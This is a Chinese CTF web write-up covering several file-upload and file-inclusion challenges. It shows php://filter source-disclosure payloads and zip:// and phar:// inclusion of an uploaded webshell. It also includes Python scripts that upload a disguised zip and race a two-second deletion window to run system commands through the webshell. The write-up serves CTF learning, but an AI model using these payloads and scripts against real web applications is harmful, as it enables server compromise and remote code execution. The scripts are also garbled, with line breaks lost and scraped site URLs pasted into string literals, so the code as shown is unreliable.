文件上传的ctf_web题目【伪协议】

1.第一题 文件上传的ctf_web题目【伪协议】
文章图片
Qiyu_20170807_210121.png 文件包含 题目:http://58.154.33.13:8004/index.php 可以读到php源代码

伪协议
zip://archive.zip#1.php
php://filter/read=convert.base64-encode//resource=index
index.php后面是否需要添加后缀,要注意看浏览器地址栏的情况,本题用伪协议查看index.php的源代码的base64编码串
查看源代码
http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index为index.php的文件名
源代码:

本题还可以通过文件包含,查看upload.php的源代码

最后,可以通过burp修改http包的Content-Type: image/gif,上传一个包含1.php的a.zip的压缩包
之后找到zip所在的路径,用zip伪协议浏览里面的php
http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php
然后执行i.php的webshell,提交post参数调用系统命令,实现shell
2.第二题 跟上一题一样,先用php://filter/read=convert.base64-encode//resource=upload查看源代码

查看源码后,发现php代码里面在做一般的检查之后,会先sleep(2),之后会对图片进行转换,如果不是正常的图片就会被删除;因此,我们需要在上传完文件的这2秒内,用另外一个脚本去文件包含shell执行
以下是两个脚本的代码:
【文件上传的ctf_web题目【伪协议】】upload.py用来上传zip压缩包
#!/usr/bin/env python # encoding: utf-8import requestsurl = "http://202.112.51.217:8199/upload.php"data = https://www.it610.com/article/{'title': 'admin', 'url': 'admin' } #此处**'pic'**是因为上面的upload.php里面判断用的键名 files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')} # 这里使用 requests 库来上传文件有几种方式 # 这种方式可以控制文件名以及文件类型 # 可以用来绕过基于客户端的文件名和文件类型检测response = requests.post(url, data=https://www.it610.com/article/data, files=files) content = response.content print content

shell.py用来进行文件包含执行webshell
#!/usr/bin/env python # encoding: utf-8import requests #由于此题apache2配置的问题导致可以直接读uploads目录 url = "http://202.112.51.217:8199/uploads/"response = requests.get(url)content = response.contentfiles = [] #这里用来寻找到最新的(你刚上传的)webshell文件的名字 for line in content.split("\n"): if "href="https://www.it610.com/article/in line: files.append(line.split("href=https://www.it610.com/"")[1].split("\">")[0]) #一般是这些保存的文件的最后一个 filename = files[-1] #此处zip://试过不行,似乎是因为php版本的原因,因此改用phar://伪协议去执行解压缩 url = "http://202.112.51.217:8199 /index.php?page=phar://uploads/"+filename+"/sh&w=system('head *'); "#此处‘head *’用来打印当前目录下所有文件的前十行 print requests.get(url).content

sh.php是一句话木马
//这里因为上面的shell.py最后用的是GET请求,因此,写REQUEST或者GET都可以,如果要用POST要更改shell.py脚本

这两个脚本你可以接连在两个终端上执行,也可以写一个shell脚本去执行,下面是shell.sh的内容
#!/bin/bash python upload.py&#后面加&就不会阻塞后面的命令执行 sleep 0.5#这里是为了给上传文件留出一定的时间 python shell.py#此处用于执行webshell

执行的结果图:
文件上传的ctf_web题目【伪协议】
文章图片
Paste_Image.png
注:requests库上传文件的书写格式,官方文档传送门
文件上传的ctf_web题目【伪协议】
文章图片
Paste_Image.png 3.第三题 X-NUCA 练习:login
http://218.76.35.75:20115/login.php
writeup请点击
注:通过log来写入webshell,构造zip压缩包
4.第四题 NS 笔记管理系统WP
NS笔记管理系统题目地址:http://218.76.35.74:20128/index.php?action=front&mode=login

    推荐阅读